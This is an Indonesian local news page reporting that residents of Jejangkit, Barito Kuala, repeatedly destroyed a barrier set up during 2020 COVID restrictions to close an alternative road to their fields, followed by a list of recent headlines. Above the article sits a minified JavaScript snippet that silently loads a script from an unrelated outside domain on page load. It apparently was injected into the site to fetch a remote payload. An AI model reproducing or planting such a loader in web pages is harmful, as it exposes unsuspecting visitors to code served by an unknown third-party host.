(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Tutup Akses ke Sawah, Portal Jalur Alternatif di Jejangkit Dirusak Warga


KANALKALIMANTAN.COM, MARABAHAN – Diduga menghalangi akses jalur alternatif warga, portal jalur Hari Pangan Sedunia (HPS) perbatasan Kabupaten Banjar Kabupaten Batola dirusak warga.

Sebelumnya portal 24 jam yang dipasang di jembatan saat berlangsung PSBB atas intruksi Bupati Batola Noormiliyani ini dibuat oleh pihak Kecamatan dengan baja ringan. Namun portal tersebut sebelumnya juga dibongkar paksa oleh warga.

Dua hari setalah kasus tersebut, pihak Kecamatan Jejangkit kembali membuat portal menggunakan pagar dari besi. Tidak hanya itu, tiga buah drum berisikan air juga dipajang di depan portal agar portal tidak mudah dibuka oleh warga.

Namun berselang beberapa hari, portal itu juga kembali dibongkar paksa. Diduga melalui jalur ini banyak warga yang melintas untuk melakukan aktifitas bercocok tanam baik dari warga yang bermukim di Desa Simpang Lima Kabupaten Banjar maupun warga di Desa Jejangkit Muara Kabupaten Batola.

“Portalnya dirusak warga malam tadi, esok kita perbaiki,” ujar Camat Jejangkit kepada Kanal Kalimantan Rabu (3/6/2020).

Sebelumnya, guna hindari lalu lalang pengendara di jalur tikus selama Pembatasan Sosial Berskala Besar (PSBB) di Kabupaten Barito Kuala (Batola), kawasan perbatasan Kabupaten Banjar-Batola ditutup total selama 24 jam.

Penutupan total selama 24 jam jalur tikus berada di Kecamatan Jejangkit menuju Desa Simpang Lima, Kecamatan Sungai Tabuk, Kabupaten Banjar dilakukan sejak Rabu (20/5/2020).

Diketahui jalan ini sendiri sebelumnya merupakan jalur alternatif singkat bagi warga yang melintas baik itu dari Banua Lima menuju Kota Banjarmasin hingga Kabupaten Banjar dan Kota Banjarbaru.

“Pemortalan ini sendiri merupakan bentuk dari pelaksanaan PSBB yang dilaksanakan oleh Pemerintah Kabupaten Batola, sehingga beberapa titik masuk jalur alternatif yang bukan merupakan jalur utama menuju kota Marabahan ditutup total selama 24 jam,” ujar Camat Jejangkit Mujib.

Ditambahkan Mujib, paska portal dipasang, pihaknya menjamin tidak ada satupun warga atau siapapun yang dapat melintas, walau dalam kondisi urgen sekalipun. Mengingat hal itu berdasarkan istruksi langsung Bupati Batola Noormiliyani.

Selain dijaga oleh petugas keamanan, penutupan total jalur alternatif ini akan terus berlangsung selama masa PSBB berlangsung 14 hari kedepan. Sehingga diharapkan pemerintah daerah dapat lebih pokus untuk menjaga pos cek point inti memeriksa pengendara yang ingin masuk pusat kota Marabahan. (kanalkalimantan.com/rdy)

 

Reporter : Rendy
Editor : Cell

 


Desy Arfianty

Recent Posts

DKISP Banjar Raih Penghargaan Apresiasi Media Pemprov Kalsel 2024

KANALKALIMANTAN.COM, BANJARMASIN - Dinas Kominikasi Informatika Statistik dan Persandian (DKISP) Kabupaten Banjar meraih predikat Terbaik… Read More

50 menit ago

Polisi Ungkap Kasus Curanmor di Rusunawa Banjarmasin, 3 Orang Ditangkap

KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengungkap kasus pencurian sepeda motor dengan menangkap… Read More

2 jam ago

Keseruan Ragam Lomba Meriahkan HUT ke-25 DWP

KANALKALIMANTAN.COM, AMUNTAI - Keseruan ibu-ibu tampak begitu bersemangat mengikuti perlombaan yang digelar dalam rangkaian HUT… Read More

17 jam ago

Peringatan HUT ke-79 PGRI di HSU, Pj Bupati: Tugas Mulia Mencerdaskan Bangsa

KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menilai peran seorang… Read More

18 jam ago

Catatan ATCS Tugu Adipura, Pengendara Merasa Malah Ada Penumpukan

Kadishub: Tugu Adipura Menghalangi Pandangan Pengendara Read More

18 jam ago

Top up Voucher Mobile Legend Sekarang Jadi Lebih Mudah dengan BRImo

KANALKALIMANTAN.COM - Dalam game Mobile Legends: Bang Bang (MLBB), kehadiran skin dapat menjadi salah satu… Read More

20 jam ago

This website uses cookies.